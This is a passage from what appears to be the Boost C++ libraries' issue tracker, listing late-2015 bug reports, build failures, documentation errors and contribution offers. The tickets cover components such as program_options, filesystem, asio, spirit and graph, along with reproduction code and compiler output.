terminate called after throwing an instance of 'std::out_of_range'
  what():  basic_string::substr: __pos (which is 18446744073709551615) > this->size() (which is 0)
Abort trap: 6

The third version throws the correct exception, but doesn't show argument original_token (3rd argument in the validation_error constructor). The output is:

Error: the argument for option 'test' is invalid

where should be

Error: the argument ('abc') for option 'test' is invalid

Since the last bug is different from the first and second, may I open another ticket?

This code has been tested using GCC 5.2.0 (GNU/Linux) and GCC 5.3.0 (Mac OS X), C++11, Boost 1.59, using the following command-line:

g++ -std=c++11 -ggdb boost_program_options.cpp -o test -L/opt/local/lib -lboost_program_options

I appreciate your help!

#11886: Deprecated header template_arity_spec.hpp included in several places

anonymous — Tue, 05 Jan 2016 05:47:17 GMT

type_traits/detail/template_arity_spec.hpp says that it's deprecated but is still included in several places, mostly in function_types:

grep -nr template_arity_spec.hpp . ./function_types/result_type.hpp:16:#include <boost/type_traits/detail/template_arity_spec.hpp> ./function_types/components.hpp:18:#include <boost/type_traits/detail/template_arity_spec.hpp> ./function_types/is_function_pointer.hpp:13:#include <boost/type_traits/detail/template_arity_spec.hpp> ./function_types/member_function_pointer.hpp:13:#include <boost/type_traits/detail/template_arity_spec.hpp> ./function_types/function_reference.hpp:13:#include <boost/type_traits/detail/template_arity_spec.hpp> ./function_types/function_arity.hpp:16:#include <boost/type_traits/detail/template_arity_spec.hpp> ./function_types/parameter_types.hpp:16:#include <boost/type_traits/detail/template_arity_spec.hpp> ./function_types/member_object_pointer.hpp:13:#include <boost/type_traits/detail/template_arity_spec.hpp> ./function_types/is_member_object_pointer.hpp:13:#include <boost/type_traits/detail/template_arity_spec.hpp> ./function_types/is_function.hpp:12:#include <boost/type_traits/detail/template_arity_spec.hpp> ./function_types/is_callable_builtin.hpp:13:#include <boost/type_traits/detail/template_arity_spec.hpp> ./function_types/is_member_pointer.hpp:12:#include <boost/type_traits/detail/template_arity_spec.hpp> ./function_types/function_pointer.hpp:13:#include <boost/type_traits/detail/template_arity_spec.hpp> ./function_types/is_nonmember_callable_builtin.hpp:13:#include <boost/type_traits/detail/template_arity_spec.hpp> ./function_types/is_member_function_pointer.hpp:13:#include <boost/type_traits/detail/template_arity_spec.hpp> ./function_types/is_function_reference.hpp:13:#include <boost/type_traits/detail/template_arity_spec.hpp> ./iostreams/detail/is_dereferenceable.hpp:13:# include <boost/type_traits/detail/template_arity_spec.hpp> ./type_traits/detail/bool_trait_def.hpp:21:#include <boost/type_traits/detail/template_arity_spec.hpp> ./type_traits/detail/size_t_trait_def.hpp:14:#include <boost/type_traits/detail/template_arity_spec.hpp> ./type_traits/detail/type_trait_def.hpp:14:#include <boost/type_traits/detail/template_arity_spec.hpp> ./detail/is_incrementable.hpp:7:# include <boost/type_traits/detail/template_arity_spec.hpp>

#11883: Incorporate 64 bit in DLL name

Mon, 04 Jan 2016 12:56:24 GMT

Currently the default DLL name on Windows consist of base, toolset, threading, runtime and boost version. However it does not include if build for 32 bit or 64 bit. This would be a welcome addition so that DLL's can live side by side.

This was also discussed 10 years ago: http://boost.2283326.n4.nabble.com/bbv2-autolink-Re-boost-Naming-of-32-64-bit-libs-td2688206.html

#11882: Mistake in iterator facade documentation

sylvaincoulombel@… — Sun, 03 Jan 2016 20:56:30 GMT

Hi,

In boost doc available here: http://www.boost.org/doc/libs/1_60_0/libs/iterator/doc/iterator_facade.html

In interoperability section there is a mistake in the example code: typedef impl::node_iterator<node_base> node_iterator; whereas it should be typedef node_iter<node_base> node_iterator;

Same for const version.

Kindest regards,

Sylvain

#11881: b2 returns code 256 exit code instead zero

pavel.odintsov@… — Fri, 01 Jan 2016 19:58:10 GMT

Hello!

I'm using b2 from boost_build1.5.8 and run it with flags: Command HOME=/root PATH=$PATH:/opt/fastnetmon/libraries/gcc520/bin /opt/fastnetmon/libraries/boost_build1.5.8/bin/b2 -j8 -sICU_PATH=/opt/fastnetmon/libraries/libicu_56_1 --build-dir=/tmp/fastnetmon.build.dir.DvDYep6dMm/boost_build_temp_directory_1_5_8 toolset=gcc-5.2 link=shared --without-test --without-python --without-wave --without-graph --without-coroutine --without-math --without-log --without-graph_parallel --without-mpi

But I get 256 instead zero in case of correct exit.

Could you fix this?

#11880: BGL adjacency_matrix_traits compiling failure

jackymiao@… — Thu, 31 Dec 2015 03:46:37 GMT

'ice_not' has been deprecated in v1.60; however, it's still called in BGL adjacency_matrix.hpp:

BOOST_STATIC_ASSERT(type_traits::ice_not<(is_same<Directed, bidirectionalS>::value)>::value);

#11879: Incorrect use of reset cause unexpected impact on previous code segment

anonymous — Wed, 30 Dec 2015 08:40:42 GMT

#include <boost/scoped_ptr.hpp> #include <iostream>

int main() {

boost::scoped_ptr<int> p{new int{1}}; std::cout << *p << '\n'; std::cout << p.get() << '\n'; p.reset(new int{2}); std::cout << *p.get() << '\n'; std::cout << p.get() << '\n';

p.reset((int *)4); Problem: Because of this statement std::cout of above lines are not printing anything. When this line is commented the program works fine. I understand I have used reset function incorrectly but it should impact to the next statements but it is also impacting above statements too. Please explain the cause.

std::cout << *p.get() << '\n'; std::cout << p.get() << '\n';

p.reset(); std::cout << std::boolalpha << static_cast<bool>(p) << '\n';

}

#11876: Boost.Graph conflicts with Qt's foreach macro

richel@… — Mon, 28 Dec 2015 14:56:52 GMT

This is a similar problem as https://svn.boost.org/trac/boost/ticket/6455, where the Qt foreach macro conflicts with the boost::foreach::tag in file /usr/include/boost/foreach.hpp.

This is a simple Qt example that reproduces the error (also supplied as an attachment):

#include <boost/graph/adjacency_list.hpp>
#include <QCoreApplication>
#include <fstream>
#include <boost/graph/adjacency_list.hpp>
#include <boost/graph/graphviz.hpp>
int main(int argc, char *argv[])
{
  QCoreApplication a(argc, argv);
  std::ofstream f("filename.dot");
  boost::write_graphviz(
    f,
    boost::adjacency_list<>()
  );
  return a.exec();
}

For the following Qt Creator project file:

QT       += core
QT       -= gui
CONFIG   += console
CONFIG   -= app_bundle
TEMPLATE = app
SOURCES += main.cpp

The error given is:

In file included from /usr/include/boost/graph/graphviz.hpp:35:0,
                 from ../CppBoostGraphAndQtConflictQtConsole/main.cpp:5:
/usr/include/boost/foreach.hpp:169:42: error: 'boost::Q_FOREACH::tag' has not been declared
 boost_foreach_is_lightweight_proxy(T *&, BOOST_FOREACH_TAG_DEFAULT) { return 0; }

The error does not occur if 'boost/graph/adjacency_list.hpp' is #included either before QCoreApplication or after. This is a workaround.

I cannot see if this error is still present in later versions of Boost. If it is still present, I hope I have contributed in letting Boost.Graph and Qt work together seamlessly.

#11874: Compilation error with GCC4.6 in C++11 mode

Antony Polukhin — Sun, 27 Dec 2015 19:14:54 GMT

g++-4.6 -std=c++11 causes compilation error:

../../../boost/exception/info.hpp: In instantiation of ‘boost::error_info<boost::tag_original_exception_type, const std::type_info*>’:
../../../boost/exception/detail/exception_ptr.hpp:95:32:   instantiated from here
../../../boost/exception/info.hpp:66:5: error: ‘class boost::error_info<boost::tag_original_exception_type, const std::type_info*>’ has no member named ‘value_’

BOOST_NOEXCEPT_IF(boost::is_nothrow_move_constructible<value_type>::value) may help.

#11873: boost::filesystem does not work on windows when multiple processes access the same junction (directory)

Sat, 26 Dec 2015 05:24:32 GMT

Hi,

I just upgraded to boost_1_60_0 ran into a regression on windows only, which I think is related to issue 9016. My windows tests are failing sporadically with the error:

boost::filesystem::read_symlink: The process cannot access the file because it is being used by another process: "r:/data"

Debugging this by comparing 1_60_0 to the earlier 1_56_0 I finally narrowed the difference to operations.cpp: bool is_reparse_point_a_symlink, which returns true in 1_60_0 but false in 1_56_0. The return value triggers canonical to call detail::read_symlink, which in turn ends up calling ::CreateFileW with dwShareMode set to 0 so that the file/directory is locked and cannot be opened by another process.

I am running my tests on LSF and many many processes end up accessing the same file / directory at the same time, thus leading the the above error message.

I have not debugged enough to be able to suggest a fix or a work-around, but this bug currently prevents me from upgrading to boost_1_60_0. I am thinking that I can maybe revert the change to is_reparse_point_a_symlink in my installation so I can proceed with the upgrade, but I am worried that other changes have been made that depend on the current behavior.

Thanks,

Soren Soe

#11871: json_parser missing return statement in standard callback

ingo.loehken@… — Wed, 23 Dec 2015 19:50:49 GMT

new_tree in standard callbacks of json_parser misses return statement and therefore fails to compile depending on warning level.

#11868: cannot build Boost using PGI compilers

anonymous — Wed, 23 Dec 2015 15:03:51 GMT

Trying to build actual Boost release 1.60.0 using PGI compilers (15.10-0 64-bit) we ran into two ICEs in the 'pgCC' compiler.

Asking the PGU support, we got:

15.10 is the last release of pgCC/pgcpp. pgc++ will be the only PGI C++ compiler for the coming years.

Huh, but 'pgCC' is hard-coded in 'boost_1_60_0/tools/build/src/tools/pgi.jam' file (line 28):

local l_command = [ common.get-invocation-command pgi : pgCC : $(command) ] ;

Trying to change out 'pgCC' by 'pgc++' we got dozens of errors like this:

------------------------------------------------------------------------------ pgi.compile.c++ bin.v2/libs/math/build/pgi/release/threading-multi/fminf.o

"pgc++" -Kieee -fpic -fPIC -fast -Mx,8,0x10000000 -Minform=warn -DBOOST_ALL_NO_LIB=1 -DBOOST_MATH_TR1_DYN_LINK=1 -DNDEBUG

-Dneed_IOV_MAX -I"." -I"libs/math/src/tr1" -c -o "bin.v2/libs/math/build/pgi/release/threading-multi/fminf.o" "libs/math/build/../src/tr1/fminf.cpp"

"./boost/config/compiler/gcc.hpp", line 152: catastrophic error: cannot open

source file "cstddef"

#include <cstddef>

1 catastrophic error detected in the compilation of "libs/math/build/../src/tr1/fminf.cpp".

... well, 'pgc++' is not 'pgCC'.

Bottom line:

Boost cannot be build with PGI compilers;
Boost need an update to new PGI C++ copiler (if you wish to proceed to support PGI at all).

Merry Christmas!

Paul

#11863: Compilation failure when trying to use Boost Test

gordon@… — Wed, 23 Dec 2015 01:21:59 GMT

I have a program that uses Boost Test. It works under Boost 1.59.0. Under Boost 1.60.0 and Mac OS X I get compilation errors in mp_defer.hpp, which is ultimately included from boost/test/unit_test.hpp.

The first compilation error is in line 28 of mp_defer.hpp

static boost::true_type check(int);

The error caret is at the start of "check" and the message is:

Expected member name or ';' after declaration specifiers.

The compiler is Apple LLVM 7.0 and the C++ dialect is C++14.

I have not submitted a ticket to Boost before - apologies if I have missed something obvious.

#11862: timer.hpp, commented line 14 (// #include ) causes link error in (at least) MSVC

dmitry.kolomiets@… — Tue, 22 Dec 2015 18:44:03 GMT

boost\timer\timer.hpp line 14 #include <boost/chrono/chrono.hpp> causes unresolved externals uncommenting that line solves the issue

#11861: windows - Using boost thread crash winrt store app on start on Windows 10 Phone devices

Tue, 22 Dec 2015 15:54:18 GMT

When using boost thread in a Windows 10 (UAP) store app on a phone device, the app can't be started (it works well on desktop computers).

How to reproduce the issue:

Build boost thread and date_time (date_time seems required to link) from the command line with: b2 --with-thread --with-date_time toolset=msvc-14.0 variant=debug link=static architecture=x86 windows-api=store cxxflags="/AIC:/winrt" Note that "C:/winrt" is a junction to "C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\lib\store\references" where platform.winmd is (since it seems required to build)
Create a Blank C++ Windows 10 Universal app using Visual studio 2015.
Edit Mainpage.xaml.cpp and add a call to boost::thread like: boost::thread workerThread(workerFunc); where "workerFunc" is whatever function you want. Add the required include file ( #include <boost/thread/thread.hpp> ). In the link option, add boost thread lib.
Now run the app in a phone emulator.
Result: the app will crash at load time.

This happens on real phones with arm CPU too (with boost built with option "architecture=arm"). This issue can't be reproduced on desktop computers using the same app built for the emulator. Just run the app on your locale machine and it will work.

Strange behavior we have found on Windows 10 phone emulator which may or may not help you in your investigation:

clean build the projet created above.
run it on the emulator => the app crashes at load time
comment the line with "boost::thread workerThread(workerFunc);"
run the app => the app doesn't crash and works as expected
uncomment the line, and run the app again (without rebuilding, just click on the "run" button) => the app starts, and the thread works. You are able to set a breakpoint and step into boost::thread constructor.
rebuild the project (clean build) and run the app: => the app crashes at load time.

I can't reproduce this strange behavior on real phones with arm CPU.

#11860: Using iostreams causes lots of messages about deprecated header template_arity_spec.hpp

martin.apel@… — Tue, 22 Dec 2015 14:27:34 GMT

Using headers from iostreams or Spirit cause lots of messages like the following:

develop/extern/share/boost-1.60/include/boost/type_traits/detail/template_arity_spec.hpp:13:83: note: #pragma message: NOTE: Use of this he
ader (template_arity_spec.hpp) is deprecated
In file included from develop/extern/share/boost-1.60/include/boost/iostreams/detail/is_dereferenceable.hpp:13:0,
                 from develop/extern/share/boost-1.60/include/boost/iostreams/detail/resolve.hpp:26,
                 from develop/extern/share/boost-1.60/include/boost/iostreams/detail/push.hpp:24,
                 from develop/extern/share/boost-1.60/include/boost/iostreams/detail/streambuf/indirect_streambuf.hpp:31,
                 from develop/extern/share/boost-1.60/include/boost/iostreams/stream_buffer.hpp:22,
                 from develop/extern/share/boost-1.60/include/boost/iostreams/stream.hpp:21

There seems to be no way how to suppress these messages.

#11851: epoll_reactor::deregister_descriptor() release descriptor_data

Thu, 17 Dec 2015 08:04:44 GMT

epoll_reactor::deregister_descriptor() function puts descriptor_state object in its object_pool, so it can be reused by epoll_reactor::register_descriptor() immediately, but the descriptor_state object may be yet referenced somewhere, for example, epoll_reactor::run() puts it in op_queue<operation>, and be about to execute operation::complete() in task_io_service::do_run_one() function. it will make logic problems when the descriptor_state object is reused indeed in a third thread by calling epoll_reactor::allocate_descriptor_state().

#11850: templated overload of boost::lockfree::spsc_queue::pop is a potential footgun

tjakubowski@… — Thu, 17 Dec 2015 03:11:24 GMT

boost::lockfree::spsc_queue::pop has many overloads. I've seen code that to tries to select this one:

template<typename U>
  boost::enable_if< typename is_convertible< T, U >::type, bool >::type
  pop(U & ret);

but, by mistake, selects this one:

template<typename OutputIterator>
  boost::disable_if< typename is_convertible< T, OutputIterator >::type, size_type >::type
  pop(OutputIterator it);

How? The problematic code looks like this:

boost::spsc_queue<Thing> q;
void consumer()
{
  for (;;) {
    while (!q.empty()) {
      OtherThing foo = ...
      Thing bar;
      AnotherThing baz = ...;
      q.pop(&bar);
      // do something with foo, bar, and baz
    }
  }
}

Note the & operator, which will select the templated "pop to an output iterator" overload because pointers to non-const are output iterators, rather than lead to a compilation error (as one might expect). This is a nasty bug because when there isn't much pressure on the queue, and at most one element is present, the consumer will appear to work correctly. But if there is more than one element in the queue, popping all of them off will cause undefined behavior (probably overwriting the memory of foo or baz in the above example) that, speaking from experience, is pretty hard to nail down.

My request is to deprecate this templated "pop to an iterator" overload, and make a new member function called pop_all with the same signature to replace it. This would help to prevent this mistake, and also make the API somewhat more consistent with the consume_one/consume_all functions.

#11849: -DBOOST_TYPEOF_EMULATION is not needed for scope_exit/run-vaseq test with Oracle studio 12.5

angela.xie@… — Thu, 17 Dec 2015 00:10:00 GMT

-DBOOST_TYPEOF_EMULATION is no longer needed for scope_exit/run-vaseq tests for Oracle studio 12.5

solution: line 11-18 of Jamfile.v2 of scope_exit/test: 11:rule run-vaseq ( command target ) 12:{ 13: # Sun does not automatically detect type-of emulation mode (force it). 14: run $(target).cpp : : : <toolset>sun: <define>BOOST_TYPEOF_EMULATION ; 15: run $(target)_seq.cpp : : : <toolset>sun: <define>BOOST_TYPEOF_EMULATION ; 16: run $(target)_seq_nova.cpp : : : 17: <toolset>sun:<define>BOOST_TYPEOF_EMULATION ; 18}

remove line 13: remove <toolset>sun:<define>BOOST_TYPEOF_EMULATION ; for $(target), $(target)_seq and $(target)_seq_nova tests. rule run-vaseq ( command target ) {

run $(target).cpp : : : ; run $(target)_seq.cpp : : : ; run $(target)_seq_nova.cpp : : : ;

}

#11848: Win32 backend bug when do wide char convert to multi byte in boost::locale

fyrestone@… — Wed, 16 Dec 2015 05:26:31 GMT

The function wide_to_multibyte_non_zero in locale/src/encoding/wconv_codepage.ipp has bug. This function assume that when the codepage is CP_UTF7 or CP_UTF8, the substitute_ptr and subst_char_ptr will be 0. But, in x64 Windows 10, I use codepage 54936 get 87 error code after the first WideCharToMultiByte called. This will make n is zero, and the second WideCharToMultiByte call will make the program crash.

In MSDN shipped with Visual Studio .NET 2003 it is said that parameters lpDefaultChar and lpUsedDefaultChar must be NULL not only for CP_UTF7 and CP_UTF8, but also for all codepages mentioned in notes for dwFlags parameter:

50220 50221 50222 50225 50227 50229 57002 through 57011 65000 (UTF-7) 42 (Symbol)

It is still true as of Windows 8 & 10: if you try to call

BOOL bVal = FALSE;

WideCharToMultiByte(50220, 0, L"asdf", 4, NULL, 0, NULL, &bVal);

You'll get 0 with GetLastError 87 (ERROR_INVALID_PARAMETER).

#11847: reference typedef no longer available in parent class of iterator_facade

alexhighviz@… — Tue, 15 Dec 2015 17:52:04 GMT

The iterator_facade defines the reference type. In Boost version 1.56 the parent class to the facade could make use of this type, from version 1.57 this is no longer possible.

This is not difficult to work around, but does cause existing code to fail.

I am using Visual Studio 2013 (12.0)

See code below:

#include <boost/iterator/iterator_facade.hpp>

#include <vector>

template<class T>

class simple_iterator : public

boost::iterator_facade<simple_iterator<T>, T, boost::forward_traversal_tag>

{

public:

simple_iterator(const typename std::vector<T>::iterator& i) : m_iter(i) {}

private:

friend boost::iterator_core_access;

/* The commented line compiled in 1.56 but no longer so in 1.57 */

/* reference dereference() const { return *m_iter; } */

T& dereference() const { return *m_iter; }

bool equal(const simple_iterator& that) { return m_iter == that.m_iter; }

void increment() { ++m_iter; }

typename std::vector<T>::iterator m_iter;

};

int main() {

std::vector<int> v = { 1, 2, 3 } ;

simple_iterator<int> i(v.begin());

simple_iterator<int>::reference vi = *i;

return 0;

}

#11846: to_iso[_extended]_string documentation

anonymous — Tue, 15 Dec 2015 16:29:18 GMT

Hi,

documentation (I use 1.56.0 but it's also in latest) says that output format of to_iso_extended_string(ptime) (and it also applies to to_iso_string(ptime)) is YYYY-MM-DDTHH:MM:SS,fffffffff (and YYYYMMDDTHHMMSS,fffffffff). But my output is for example

namespace pt = boost::posix_time;
std::cout << pt::to_iso_extended_string(pt::time_from_string("2002-01-31 10:00:01.123456")) << std::endl;
// output: 2002-01-31T10:00:01.123456
std::cout << pt::to_iso_string(pt::time_from_string("2002-01-31 10:00:01.123456")) << std::endl;
// output: 20020131T100001.123456

Is it bug in documentation or did I miss something?

#11843: shared_ptr hash support doesn't work for shared_ptr or shared_ptr

rs2740@… — Sun, 13 Dec 2015 03:07:33 GMT

Repro:

#include <boost/functional/hash.hpp>
#include <boost/shared_ptr.hpp>
int main(){
    boost::shared_ptr<int[2]> a;
    boost::shared_ptr<int[]> b;
    boost::hash_value(a);
    boost::hash_value(b);
}

The hash_value overload for shared_ptr<T> returns boost::hash< T* >()( p.get() ). It should presumably return boost::hash<typename shared_ptr<T>::element_type*>()(p.get()) instead.

#11839: JSON parser does not work with "boost::any" as value type

milacher@… — Thu, 10 Dec 2015 22:46:12 GMT

I have a property_tree specialization with boost::any as value type, as such:

typedef boost::property_tree::basic_ptree<std::string, boost::any> AnyPTree;

With the help of a set of "translator_between" specializations, and an operator

template <class CharT, class Traits, class Allocator> boost::any& operator += (

boost::any& lhs, const std::basic_string<CharT, Traits, Allocator>& rhs );

I was able to use all the parsers in property_tree in boost 1.58. However the new JSON parser in 1.59 assumes that the value type of the property_tree is string-like and does not compile for my specialization anymore (standard_callbacks is the offending code).

#11838: contribution: Yen k-shortest paths

Thu, 10 Dec 2015 21:06:02 GMT

I wanna contribute the implementation of the Yen k-shortest paths algorithm. Please find attached the implementation and the unit test.

#11837: Failed to build Boost.Build engine

alexey.trenikhin+boost@… — Thu, 10 Dec 2015 01:40:05 GMT

When attempting to "bootstrap.bat" I'm getting following error:

Failed to build Boost.Build engine.
Please consult bootstrap.log for further diagnostics.

And in bootstrap.log:

builtins.c(1887) : error C2065: 'FSCTL_GET_REPARSE_POINT' : undeclared identifier
builtins.c(1891) : error C2065: 'IO_REPARSE_TAG_SYMLINK' : undeclared identifier

#11836: cannot build filesystem, utility/enable_if has been moved to core

pas@… — Wed, 09 Dec 2015 14:35:42 GMT

Hello,

Even current develop cannot be built because it depends on a state of the utility modules that invalid at least since 2014 Aug. https://github.com/boostorg/filesystem/blob/bb5a0ff09da2d25a462f9f96fc09e9a8bad865e3/include/boost/filesystem/path_traits.hpp

https://github.com/boostorg/utility/commit/492fd7f091c73494fb0062de586adc792f97c141

Maybe it's a documentation bug, as I cannot find any information on how to resolve this problem.

Thank you for considering this bug report!

#11834: Undefined symbols for architecture x86_64:

banslug2001@… — Tue, 08 Dec 2015 15:35:43 GMT

I am trying to use boost chromo library inside Mac Xcode 7.1.1. I am able to compile header only project and I have been able to use the regex library. But with the chrono library I receive the falling error:

Undefined symbols for architecture x86_64:

"boost::system::system_category()", referenced from:

_cxx_global_var_init2 in main.o

"boost::system::generic_category()", referenced from:

_cxx_global_var_init in main.o _cxx_global_var_init1 in main.o

ld: symbol(s) not found for architecture x86_64 clang: error: linker command failed with exit code 1 (use -v to see invocation)

#11828: net/if.h and linux/if.h incompatible for latest boost and centos 6.6

saima8788@… — Fri, 04 Dec 2015 06:07:54 GMT

Use the following code to repro: #include <linux/if.h> #include <net/if.h> int main() { return 0; }

This gives error: In file included from test.cpp:2: /usr/include/linux/if.h:187: error: field ‘ifru_addr’ has incomplete type /usr/include/linux/if.h:188: error: field ‘ifru_dstaddr’ has incomplete type /usr/include/linux/if.h:189: error: field ‘ifru_broadaddr’ has incomplete type /usr/include/linux/if.h:190: error: field ‘ifru_netmask’ has incomplete type /usr/include/linux/if.h:191: error: field ‘ifru_hwaddr’ has incomplete type In file included from test.cpp:3: /usr/include/net/if.h:45: error: expected identifier before numeric constant /usr/include/net/if.h:45: error: expected ‘}’ before numeric constant /usr/include/net/if.h:45: error: expected unqualified-id before numeric constant /usr/include/net/if.h:82: error: expected declaration before ‘}’ token

Now, net/if.h is included in many boost headers. We are not able to use both linux/if.h and a boost library in our project for that reason.

#11824: [spirit][qi] skip_flag::dont_postskip not working as expected

Sat, 28 Nov 2015 08:56:53 GMT

Assuming we want to create a primitive which checks if the skip parser is called at least once before the next terminal we need to disable post-skipping for this purpose. However, disabling post-skipping alone will not work if the previous parser failed on a input because all terminals do not revert to the position before the skip parser but just after it. A workaround could be add an and-prediction in front of each terminal but this makes the code unreadable. Attached is a possible patch for spirit qi which changes all terminals to revert to the position before the skip parser in case of a mismatch. Note: This might introduce some performance regression.

Example:

string input("a b");
string::const_iterator first(input.begin()), last(input.end());
phrase_parse(first, last, ((+char_("a", "z")) > no_skip[&blank]) >> char_, blank, dont_postskip);

This will fail to match in the current implementation even though it looks perfectly fine.

#11823: Exception safety problems in the epoll based implementation of async_accept

Thu, 26 Nov 2015 10:08:59 GMT

The implementation of boost::asio::ip::tcp::acceptor::async_accept fails to handle memory allocation failures in certain conditions when using the epoll based reactor.

The attached program (test_program.zip) reproduces the failures. They reproduce with Boost 1.59 as well as 1.57 when run on a Linux machine (and using the epoll based implementation).

Examples of runs of the test program compiled with GCC 6.0 and Boost 1.59 can be found on the Wandbox online compiler (links in the attached wandbox.txt file).

Attached is also a patch with a tentative fix that highlights the two places that cause the test program to fail. Even though it was created against the code from Boost 1.57, it applies to the code from 1.59.

#11816: can not move asio socket on vs2010

Mon, 23 Nov 2015 09:25:37 GMT

io_service svc; tcp::socket sk(svc); auto sk2 = std::move(sk);

compile failed on vs2010,and I tried on vs2012 it works.

#11814: Add Boost.Convert to the Trac

viboes — Sat, 21 Nov 2015 20:34:41 GMT

#11813: Microseconds get cut off in ISO string representation if all zero (posix_time::to_iso_string)

Sat, 21 Nov 2015 14:33:16 GMT

#include <iostream>
#include <string>
#include <boost/date_time/posix_time/posix_time.hpp>
int main()
{
    boost::posix_time::ptime timestamp = boost::posix_time::microsec_clock::local_time();
    std::string sTime( boost::posix_time::to_iso_string( timestamp ));
    std::cout << "Timestamp: " << sTime << std::endl;
    return 0;
}

This outputs for example: Timestamp: 20151121T141522.999982

Now, if microseconds are all zero the output I'd expected was
Timestamp: 20151121T141523.000000
but actually is
Timestamp: 20151121T141523

Now, when trying to cut off the microseconds fraction (for whatever reason) by doing

std::string sFraction = sTime.substr( 16, 21 );

you may end up with the following error:

Something unexpected happened: 'basic_string::substr: __pos (which is 16) > this->size() (which is 15)'

I saw this behavior in Boost 1.55.0, but when I checked the current sources online, I couldn't see any difference, so I think this would occur in the current version, too.

#11810: privilege __sun over sun for strict ISO compilers

Sat, 21 Nov 2015 06:18:19 GMT

when compilers use strict ISO options such as -std=c++11 they only generate for SunOS the macro '__sun' and not 'sun'.

I propose minimally the attached patches, although there seems to be a bit of overkill with tests involving both in the source tree.

That is to say, the documented way to test is something like the following:

#ifdef __sun
/* this is SunOS */
#endif
#if defined(__sun) && defined(__SVR4)
/* this in particular is Solaris */
#endif

#11809: Add SSL Renegotiate handshake support to boost::asio::ssl

georgid@… — Fri, 20 Nov 2015 11:13:43 GMT

Currently the boost::asio::ssl::stream handshake can call either SSL_accept or SSL_connect for initial connection handshaking. To be able to do a SSL renegotiation handshake SSL_do_hanshake needs() to be called.

I have attached a patch that adds a new boost::asio::ssl::hanshake_type called "renegotiate" and the needed support in the ssl::engine to do a proper renegotiation handshake.

Doing a server side renegotiate to request the client certificate can be done in the following way:

#include <boost/asio.hpp>
#include <boost/asio/ssl.hpp>
typedef boost::asio::ssl::stream<boost::asio::ip::tcp::socket> ssl_socket;
int main(int argc, char* argv[])
{
   using namespace std; // For atoi.
   using namespace boost::asio;
   unsigned short port =  atoi(argv[1]);
   io_service io_service;
   ip::tcp::acceptor acceptor(io_service,
                              ip::tcp::endpoint(ip::tcp::v4(), port));
   ssl::context ctx(ssl::context::sslv23);
   ssl_socket sock(io_service, ctx);
   acceptor.accept(sock.lowest_layer());
   sock.handshake(ssl_socket::server);
   // read some data
   sock.set_verify_mode(ssl::verify_peer);
   sock.handshake(ssl_socket::renegotiate);
   // continue using the connection
}

#11808: ip::address::from_string() is not crossplatform

reinterpret.alexey@… — Fri, 20 Nov 2015 09:00:38 GMT

On Windows WSAStringToAddressA() accepts A.B.C.D and A.B.C.D:PORT, but on linux inet_pton only accepts A.D.B.D (:PORT causes an error). Therefore, Windows users don't have an exception that linux users have.

#11807: sun.jam needs updating when creating shared libraries compiled with -std=[c++03,c++11] mode.

Thu, 19 Nov 2015 18:56:33 GMT

When compiling with Oracle Solaris Studio compilers in -std=[c++03,c++11] modes, several python tests fail with the following error:

ImportError: ld.so.1: isapython2.6: fatal: relocation error: file /export/home/boost_regression_develop/boost_sparc-S2_cpp11/results/boost/bin.v2/libs/python/test/injected.test/sun-next_cpp11/ release/threading-multi/injected_ext.so: symbol _ZTIv: referenced symbol not found

These errors occur when any libraries that are linked into the application that has no C++11 runtime already linked in.

When creating shared libraries, for line 159 in the sun.jam file

157 actions link.dll bind LIBRARIES 158 { 159 "$(CONFIG_COMMAND)" $(OPTIONS) -L"$(LINKPATH)" -R"$(RPATH)" -o "$(<)" -h$(<[1]:D=) -G $(STDLIBOPT) "$(>)" "$(LIBRARIES)" -Bdynamic -l$(FINDLIBS-SA) -Bstatic -l$(FINDLIBS-ST) -B$(LINK-RUNTIME) 160 }

replacing '-G' with '-G -library=stdcpp,CrunG3'

seems to resolve the issue.

I will submit a PR shortly and specify the PR# to this ticket for reference. If interested, here is the archive on the Boost developers build regarding this issue. http://lists.boost.org/boost-build/2015/11/28379.php

#11805: building boost.python 1.56+ with msvc

remi.ducceschi@… — Thu, 19 Nov 2015 10:08:35 GMT

Hello!

First, I wanted to thanks you for Boost.Python which is amazing once you succeed to use it

I've tried for at least a week to make it works with MSVC (I tried 2010 and 2015). As stated in https://svn.boost.org/trac/boost/ticket/10799 there is several problems not all easy to find. But the last one is not logged, and I've finally found how to fix it yesterday \o/

Thanks to this post on stackoverflow: http://stackoverflow.com/a/33600073 (thanks a lot to Ralph even if I don't know him)

just do the magic, and it works oO

to summarize :

start by removing the line 1472 "toolset.flags msvc.link.dll LINKFLAGS <suppress-import-lib>true : /NOENTRY ;"
replace the lines 1351 to 1356 with

    generators.register [ new msvc-linking-generator msvc.link.dll :
        OBJ SEARCHED_LIB STATIC_LIB IMPORT_LIB : SHARED_LIB IMPORT_LIB :
        <toolset>msvc ] ;

This bug occurs in 1.59.0 (version that I use), but is apparently here since 1.56 (said in the post)

If this could be fixed in the next version of Boost, that would be great!

First bug report on Boost, so don't hesitate to ask for more details if needed.

#11804: Contribution: edge-disjoint k-shortest paths

Wed, 18 Nov 2015 22:04:36 GMT

Hi,

I want to contribute a function that calculates edge-disjoint k-shortest paths.

The algorithm searches for a shortest path. Then it disables the edges of the shortest path, and repeats the search. On so on, until no path can be found.

I'm attaching the source file and a unit test.

There are two things that bug me in the code:

the predecessor map is hardcoded as:

boost::vector_property_map<edge_descriptor> pred(num_vertices(g));

while perhaps it should depend on the graph type,

the formatting of this call is ugly:

boost::dijkstra_shortest_paths

(fg, s,

visitor(make_dijkstra_visitor(record_edge_predecessors(pred, on_edge_relaxed()))));

I would appreciate it, if someone could give me a hint on these two problems.

I would also appreciate very much any comments and improvements.

Thanks!

#11799: boost::interprocess::offset_ptr not compatible with C++11 std::pointer_traits

Tue, 17 Nov 2015 14:39:29 GMT

offset_ptr defines its rebind member as:

   template <class U>
   struct rebind
   {  typedef offset_ptr<U, DifferenceType, OffsetType, OffsetAlignment> other;  };

but std::pointer_traits<T>::rebind is defined as:

    Ptr::rebind<U> if exists, otherwise Template<U, Args...> if Ptr is a template instantiation Template<T, Args...>

This means that offset_ptr's rebind should just be an alias template rather than a struct with an ::other member.

#11798: Implementation of boost::shared_mutex on POSIX is suboptimal

alex@… — Mon, 16 Nov 2015 12:52:52 GMT

The current (as of boost 1.59) implementation of boost::shared_mutex for 'pthread' is pretty suboptimal as it's using a heavyweight mutex to guard the internal mutex state. This is more evident when shared locks are used to guard state whose access concurrency is high, due to contention on the mutex state lock (in these cases, the shared mutex is effectively exclusive). In comparison, the 'win32' implementation uses lightweight spinlocks underneath.

